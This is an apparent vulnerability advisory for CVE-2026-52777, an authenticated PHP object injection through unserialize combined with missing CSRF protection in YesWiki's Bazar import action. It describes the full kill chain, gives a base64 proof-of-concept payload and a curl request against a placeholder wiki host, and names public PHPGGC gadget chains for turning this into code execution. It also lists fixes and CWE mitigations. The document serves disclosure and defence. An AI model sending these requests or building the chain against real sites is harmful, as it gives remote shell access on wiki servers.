Skip to content

GHSA-9369-69wj-7m2f CVE-2026-52777

YesWiki Vulnerable to Authenticated PHP Object Injection in BazarImportAction via unserialize

Critical Packagist
Severity
0.0 / 10
Critical · CVSS 4.0
Exploit chance (EPSS)
0.28%
Chance of exploitation in the next 30 days. Higher than 20.10% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-352 Cross-Site Request Forgery (CSRF)
CWE-502 Deserialization of Untrusted Data
Fix
4.6.6
Upgrade yeswiki/yeswiki to this version or later

Description

Details

Sink

tools/bazar/services/CSVManager.php line 372-399:

public function importEntry(array $importedEntries, string $formId): ?array
{
    if (!$this->importdone) {
        // ...
        foreach ($importedEntries as $entry) {
            $entry = unserialize(base64_decode($entry));   // <-- SINK
            $entry = array_map('strval', $entry);
            // ...

There is no ['allowed_classes' => false] argument; arbitrary classes are instantiated. The subsequent array_map('strval', $entry) additionally exercises __toString on each top-level array element, doubling the magic-method surface available to a gadget chain.

Source

tools/bazar/actions/BazarImportAction.php:

// formatArguments()
'mode' => (isset($_POST['submit_file']) && !empty($_FILES['fileimport']['name'])) ? 'submitfile' :
    (isset($_POST['importfiche']) ? 'importentries' : 'default'),
'importentries' => $_POST['importfiche'] ?? null,

// run()
case 'importentries':
    // ...
    $importedEntries = $this->CSVManager->importEntry($this->arguments['importentries'], $vID['id']);
    break;

$_POST['importfiche'] flows directly to the sink. The mode switches to 'importentries' whenever the request body contains the key, so an attacker need only POST importfiche[0]=<payload>.

Reachability

  1. The action is registered as bazarimport. The default BazaR page (setup/sql/default-content.sql -> BazaR page entry, ships with {{bazar showexportbuttons="1"}}) routes ?BazaR&vue=importer&id_typeannonce=<N> to BazarAction::run() -> case VOIR_IMPORTER -> callAction('bazarimport', ...) (tools/bazar/actions/BazarAction.php:257-258). So the sink is reachable on a default install with no extra page authoring.

  2. BazarImportAction::run() calls $this->checkSecuredACL() with the default $adminOnly=true. Only wiki admins (or accounts the admin has added to the bazarimport action ACL) can execute it.

  3. The importentries branch does NOT invoke CsrfTokenController::checkToken(...). Grepping tools/bazar/actions/BazarImportAction.php confirms the action class has no csrf or checkToken reference at all. This is asymmetric with sibling actions: tools/bazar/controllers/FormController.php does call checkToken('main', 'POST', 'confirmDeleteToken') for destructive operations. The import path skips the same protection.

  4. Therefore the full kill chain for a remote attacker is:

    a. Identify any admin user on the target wiki. b. Deliver an HTML page (email, chat, link) that auto-POSTs importfiche[0]=<base64-encoded PHPGGC payload> to https://<wiki>/?BazaR&vue=importer&id_typeannonce=1. c. The admin's session cookie is sent automatically; the action passes checkSecuredACL; the unserialize fires.

Gadget chain availability

composer.json requires doctrine/annotations ^1.11 and doctrine/cache ^1.10. Both have published PHPGGC chains (Doctrine/RCE1, Doctrine/FW1, Doctrine/FW2, etc., from https://github.com/ambionics/phpggc). These chains terminate in either system($cmd) (RCE1) or file_put_contents($php_file, $contents) (FW1) entry-points -- both sufficient to give the attacker shell on the YesWiki host.

This advisory does not include a working PHPGGC chain end-to-end (writing a chain that survives YesWiki's exact dependency-resolved class graph is separate work). The PoC demonstrates the primitive (attacker-controlled class instantiation + magic-method execution); the chain is a downstream exercise using public tooling.

Past advisories cross-check

YesWiki's published GitHub advisories cover XSS, SQLi, arbitrary-PHP-file-write RCE, path traversal, and unauthenticated backup download. None covers an unserialize / PHP-object-injection sink, so this is a novel vulnerability class for the project.

PoC

A self-contained PoC reproducing the inner loop is available; it copies the exact two-line sink and proves that attacker-controlled __destruct runs without booting the full application.

Run:

php poc.php

Output (verbatim):

Crafted importfiche[0] payload (form-ready, urlencoded):
YToxOntpOjA7Tzo2OiJHYWRnZXQiOjE6e3M6NjoibWFya2VyIjtzOjIyOiJQV05FRC1GUk9NLVVOU0VSSUFMSVpFIjt9fQ%3D%3D

== before importEntry ==
[Gadget] __destruct fired with marker='PWNED-FROM-UNSERIALIZE'
PHP Fatal error:  Uncaught Error: Object of class Gadget could not be converted to string ...
[Gadget] __destruct fired with marker='PWNED-FROM-UNSERIALIZE'

The two [Gadget] __destruct fired lines (one from inside the loop, one from the engine shutdown after the TypeError) confirm that the attacker-defined Gadget::__destruct executed -- with the attacker-supplied marker -- inside the unmodified importEntry code path.

End-to-end against a live YesWiki install:

curl -i -b "yeswiki_session=<admin_cookie>" \
     -X POST "https://wiki.example.com/?BazaR&vue=importer&id_typeannonce=1" \
     --data-urlencode \
     "importfiche[0]=YToxOntpOjA7Tzo2OiJHYWRnZXQiOjE6e3M6NjoibWFya2VyIjtzOjIyOiJQV05FRC1GUk9NLVVOU0VSSUFMSVpFIjt9fQ=="

(replace the payload with a real PHPGGC Doctrine/FW1 or Doctrine/RCE1 output to obtain RCE on the target host).

Impact

  • Authenticated wiki admin who lands on attacker-controlled HTML obtains remote code execution on the YesWiki server (via the cross-site forgery path; no admin interaction with the import UI is required).
  • An attacker who has already compromised an admin password upgrades from "wiki content management" to "OS shell on the hosting box".
  • The compromise survives the wiki layer entirely: the attacker can write web shells, exfiltrate other sites on shared hosting, modify wakka.config.php, dump the MySQL database, and pivot from there.

Suggested fix

  1. tools/bazar/services/CSVManager.php::importEntry -- pass ['allowed_classes' => false] to unserialize, or, better, replace the base64+serialize transport with the JSON transport the current UI already uses (?api/entries/{formId} POST in tools/bazar/presentation/javascripts/bazar-import.js). The serialized-PHP transport appears to be an unused legacy path.
  2. tools/bazar/actions/BazarImportAction.php -- add a CsrfTokenController::checkToken('main', 'POST', 'csrf-token', false) guard for the 'importentries' mode (and any other state-changing modes). The existing tools/bazar/controllers/FormController.php pattern can be lifted directly.

Affected versions

Packagist

PackageVulnerableFixed in
yeswiki/yeswiki
< 4.6.6
4.6.6

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

yeswiki/yeswiki Packagist → 4.6.6

composer
composer require yeswiki/yeswiki:^4.6.6

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
Active
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
High
Integrity (subsequent systems)
High
Availability (subsequent systems)
High

Weakness

CWE-352: Cross-Site Request Forgery (CSRF)

The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330] Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
  • Implementation: Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
  • Architecture and Design: Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
  • Architecture and Design: Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
  • Architecture and Design: Use the "double-submitted cookie" method as described by Felten and Zeller: When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult. This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
  • Architecture and Design: Do not use the GET method for any request that triggers a state change.
  • Implementation: Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.

CWE-502: Deserialization of Untrusted Data

The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.

How to prevent it
  • Architecture and Design, Implementation: If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
  • Implementation: When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.
  • Implementation: Explicitly define a final object() to prevent deserialization.
  • Architecture and Design, Implementation: Make fields transient to protect them from deserialization. An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
  • Implementation: Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.
  • Architecture and Design, Implementation: Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-4pf7-cc4r-g63h
YesWiki has Authenticated SQL Injection via ReactionManager
High Also affects yeswiki/yeswiki
GHSA-r5xw-gcgw-hwp5
YesWiki Vulnerable to Reflected XSS via Unescaped `id` Parameter in Bazar Widget HTML Attributes
Medium Also affects yeswiki/yeswiki
GHSA-35f3-pg38-486f
YesWiki Vulnerable to Reflected XSS via Unescaped Archived-Revision `time` Parameter in `handlers/page/show.php`
Medium Also affects yeswiki/yeswiki
GHSA-xc7j-3g8q-9vh4
YesWiki has stored XSS in Bazar form-field templates via unescaped field.label / field.hint (|raw('html'))
Medium Also affects yeswiki/yeswiki
GHSA-8f2v-2qhj-gfwg
YesWiki: Second-Order SQL Injection in Page Delete API via Unescaped Page Tag (`ApiController::deletePage`)
High Also affects yeswiki/yeswiki
GHSA-qg78-vmvc-fhjw
YesWiki: SQL Injection possible through public Bazar entry-listing APIs via numeric `query`/`queries` filters
High Also affects yeswiki/yeswiki
GHSA-vw42-752g-5mrp
YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`
High Also affects yeswiki/yeswiki
GHSA-mv28-wj57-f57g
YesWiki Vulnerable to Unauthenticated ActivityPub Signature-Verification Bypass via `!openssl_verify(...)` accepting `int(-1)`
High Also affects yeswiki/yeswiki
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor